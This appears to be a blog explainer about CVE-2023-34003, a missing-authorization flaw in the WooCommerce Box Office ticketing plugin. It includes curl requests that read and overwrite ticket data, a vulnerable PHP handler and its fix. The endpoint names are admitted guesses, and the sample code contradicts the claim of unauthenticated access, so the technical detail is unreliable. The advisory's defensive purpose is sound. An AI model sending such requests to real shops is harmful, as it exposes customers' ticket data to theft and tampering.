WooCommerce is one of the most popular plugins for WordPress, powering millions of online shops. One of its extensions, WooCommerce Box Office, helps merchants sell tickets to events right from their site. But in 2023, a major security hole was found—CVE-2023-34003—affecting thousands of sites running Box Office version 1.1.51 and below. Let’s break down what happened, why it’s dangerous, and even look at how an attack could work.

What Is CVE-2023-34003?

CVE-2023-34003 is a "Missing Authorization" vulnerability. In simple terms, this means a feature in Box Office failed to check if someone was allowed to do something, before letting them do it. That’s like letting anyone into a paid event, just because they knock on the door.

Affected Versions:
WooCommerce Box Office versions from *unknown version* (n/a) through 1.1.51.

How Does the Vulnerability Work?

Certain actions in the plugin (like viewing or changing ticket data) were supposed to be restricted—only users with specific permissions should be able to do them. But the code didn’t properly check user roles or permissions in some places.

This allowed unauthenticated users (like attackers or random visitors) to perform actions without logging in.

Proof of Concept (PoC): Exploiting the Flaw

Below is a simplified example showing how an attacker could exploit this vulnerability using a tool like curl (which lets you send requests to websites). Assume the affected website is example.com:

1. Trying to Access Ticket Information (Without Logging In)

curl -X POST https://example.com/wp-admin/admin-ajax.php \
  -d 'action=wc_box_office_get_tickets_for_user&user_id=2'

If the response returns sensitive ticket details, the site is vulnerable!

Suppose the plugin exposes a function to update ticket info, something like this

curl -X POST https://example.com/wp-admin/admin-ajax.php \
  -d 'action=wc_box_office_update_ticket&ticket_id=1234&new_name=Hacked'

This request should FAIL or return an error for non-logged-in users. If it works—the site has the missing authorization bug.

Here’s a simplified code example based on patterns found in vulnerable versions

// Example of a WordPress AJAX handler with missing capability check
add_action('wp_ajax_wc_box_office_update_ticket', 'wc_box_office_update_ticket');

function wc_box_office_update_ticket() {
    $ticket_id = $_POST['ticket_id'];
    $new_name = $_POST['new_name'];
    
    // MISSING: Checking if current user can edit tickets!
    update_post_meta($ticket_id, 'ticket_holder_name', $new_name);
    
    echo json_encode(['message' => 'updated']);
    wp_die();
}

The missing line should be

if ( ! current_user_can( 'manage_woocommerce' ) ) {
  wp_die( 'Permission Denied', 403 );
}

Without it, anyone can update anyone’s ticket information!

How Dangerous Is This?

- Data exposure: Attackers can read other people’s event ticket info, which might include emails, addresses, access QR codes, etc.
- Data tampering: Attackers can change ticket ownership details, grant themselves access, or even delete tickets.
- Business risk: Event hosts could be defrauded, and legitimate customers could lose access to their purchased tickets.

How Can You Protect Your Site?

1. Update: Upgrade WooCommerce Box Office to the latest version immediately. The vendor patched this problem fast—always stay up to date.

References & Further Reading

- Official WooCommerce Box Office Plugin
- NVD CVE-2023-34003 Entry
- Patch Release Announcement by WooCommerce
- Wordfence Advisory (Similar Authorization Issues)

Conclusion

If you sell event tickets online using WooCommerce Box Office, double-check your plugin version TODAY. Attackers look for out-of-date sites with this type of flaw and can exploit them automatically.
Always validate user permissions in custom WordPress code—and never trust user input without checking!

Stay safe and keep your plugins updated.

Written exclusively for your security insights by ChatGPT, June 2024.

Timeline

Published on: 06/09/2024 11:15:49 UTC
Last modified on: 06/10/2024 02:52:08 UTC